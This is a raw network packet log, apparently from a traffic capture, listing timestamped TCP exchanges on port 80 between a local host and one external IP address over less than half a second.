Nov 20, 2024 16:50:30.158683062 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.158757925 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.161465883 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.161556959 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.161700964 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.164344072 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.164414883 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.164448023 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.164593935 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.167488098 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.167633057 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.167690992 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.170279026 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.173466921 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.204009056 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.204066992 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.204169035 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.205106020 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.205162048 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.205215931 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.205260038 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.206794024 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.206887960 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.206938028 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.208998919 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.209039927 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.209059000 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.209086895 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.211180925 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.211252928 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.211291075 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.211324930 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.216058969 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.216074944 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.216151953 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.216198921 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.216247082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.216768980 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.216826916 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.218954086 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.219259977 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.219329119 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.221144915 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.221208096 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.221297979 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.221347094 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.223330975 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.223453045 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.223517895 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.225462914 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.225532055 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.225630999 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.225677967 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.228043079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.228208065 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.228270054 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.230155945 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.230320930 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.230384111 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.232009888 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.232069016 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.232146025 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.232192993 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.234195948 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.234517097 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.234570980 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.236249924 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.236303091 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.236419916 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.236469984 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.238532066 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.238635063 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.238678932 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.238729000 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.240732908 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.240911007 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.240969896 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.243163109 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.243175983 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.243233919 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.245213985 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.245228052 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.245275021 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.247325897 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.249458075 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.253444910 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.253555059 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.253649950 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.254558086 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.254622936 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.255008936 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.255053997 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.255131006 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.255192995 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.257159948 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.257205963 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.257225037 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.257260084 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.261831999 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.261846066 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.261903048 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.262868881 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.262881994 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.262927055 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.265110016 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.265161037 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.265253067 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.265299082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.267236948 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.267394066 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.267451048 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.269393921 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.269407034 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.269443989 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.269470930 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.271668911 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.271682024 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.271753073 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.273760080 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.273917913 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.273969889 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.275903940 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.275959969 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.334707022 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.334801912 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.334816933 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.334851980 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.335179090 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.335194111 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.335273027 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.337759972 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.337842941 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.337897062 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.337956905 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.339600086 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.339654922 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.339747906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.339786053 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.341959000 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.342020988 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.342104912 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.342175961 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.344016075 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.344079018 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.344310045 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.344361067 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.346251011 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.346303940 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.346427917 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.346477985 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.348319054 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.348367929 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.348453999 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.348493099 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.350639105 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.350655079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.350692987 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.350709915 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.352829933 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.352899075 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.352977991 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.353025913 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.354965925 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.354980946 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.355021000 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.355043888 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.357057095 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.357070923 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.357116938 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.358946085 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.359004021 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.359106064 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.359153986 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.360902071 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.361021042 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.361057997 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.361109972 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.363007069 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.363018990 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.363118887 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.364921093 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.364933968 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.364981890 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.365025043 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.366713047 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.366770029 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.366849899 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.366893053 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.368624926 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.368680954 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.368793011 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.368839025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.370474100 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.370523930 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.370641947 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.370682001 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.371867895 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.371881962 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.371936083 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.374813080 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.374895096 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.374948025 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.374990940 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.376656055 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.376724958 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.376816034 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.376862049 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.378235102 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.378293037 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.378393888 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.378443956 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.379774094 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.379832983 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.379906893 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.379954100 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.381382942 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.381450891 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.381520033 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.381562948 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.382363081 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.382432938 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.416455984 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.416553020 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.416688919 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.416688919 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.416892052 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.416943073 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.417063951 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.417110920 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.418272018 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.418318987 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.418425083 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.418473959 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.419465065 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.419518948 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.419631958 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.419676065 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.420521021 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.420568943 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.420656919 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.420703888 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.421652079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.421705008 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.421812057 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.421859980 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.422982931 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.423034906 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.423331976 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.423387051 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.424144983 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.424160957 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.424210072 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.425251007 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.425307989 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.425574064 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.425625086 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.426642895 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.426691055 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.426810980 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.426856995 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.427645922 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.427695036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.427797079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.427846909 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.428664923 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.428719044 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.428833961 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.428885937 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.429872990 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.429924965 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.430042982 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.430087090 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.431060076 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.431109905 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.431233883 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.431288004 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.432274103 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.432322025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.432437897 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.432486057 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.433470964 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.433484077 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.433527946 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.434480906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.434530973 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.434623957 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.434676886 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.464401960 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.464526892 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.464529037 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.464584112 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.465049028 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.465061903 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.465096951 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.465111017 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.465850115 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.465898991 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.466000080 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.466047049 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.469116926 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.469170094 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.470174074 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.470226049 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.472193956 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.472248077 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.472309113 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.472357988 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.473086119 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.473139048 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.473170996 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.473222017 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.474265099 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.474319935 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.474466085 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.474510908 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.474999905 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475012064 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475024939 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475035906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475056887 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.475085020 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.475157976 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475171089 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475203991 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.475301981 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.475347996 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.544179916 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.544312954 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.544325113 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.544429064 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.544857979 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.544872999 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.544907093 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.544928074 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.546188116 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.546200991 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.546238899 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.547106981 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.547156096 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.547300100 CET	80	49707	185.215.113.206	192.168.2.9
